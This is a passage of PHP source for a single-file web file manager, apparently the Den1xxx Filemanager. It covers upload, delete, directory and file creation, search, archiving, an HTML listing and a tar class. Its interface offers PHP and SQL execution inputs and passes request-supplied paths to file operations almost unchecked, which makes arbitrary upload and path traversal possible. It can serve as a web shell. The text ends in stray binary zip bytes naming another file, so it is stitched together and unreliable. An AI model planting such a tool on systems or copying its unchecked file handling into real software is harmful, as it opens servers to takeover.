if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
           
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
			}
        }
    }
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').'
'.$_REQUEST['delete'];
		}
	}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').'
'.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').'
('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>&nbsp;
&nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
        if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').'
'.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
		.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
		else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file =
str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text" name="dirname"
size="15">
				<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"    
value="<?=$path?>" />
				<input type="text"   name="filename"
size="15">
				<input type="submit" name="mkfile"  
value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post"
action="<?=$url_inc?>"
style="display:inline">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
				<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
				<input type="submit" name="search"
value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
			<input type="hidden" name="path"
value="<?=$path?>" />
			<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
			<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
			<input type="submit" name="test"
value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action=""
method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden"
value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit"
value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap">
<?=__('Filename')?> </th>
    <th style="white-space:nowrap">
<?=__('Size')?> </th>
    <th style="white-space:nowrap">
<?=__('Date')?> </th>
    <th style="white-space:nowrap">
<?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
        $link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').'
'. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink = 
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
		$arlink =
in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
 | <a
href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) &&
is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return
$this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to
').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not
readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.':
<br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is
incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is
incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long
header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
				else $header['filename'] =
$path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
					$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'],
'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) !=
$header['size']) {
					$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').'
'.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').':
'.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));

		$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);

		$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0))
	return true;
			$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag'])
== '5')	$header['size'] = 0;
		$header['filename'] =
trim($unpack_data['filename']);
		$header['mode'] =
OctDec(trim($unpack_data['mode']));
		$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
		$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
		$header['size'] =
OctDec(trim($unpack_data['size']));
		$header['time'] =
OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' '
(space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK1G�[eY�
�
�menu.phpnu�[��� <?php
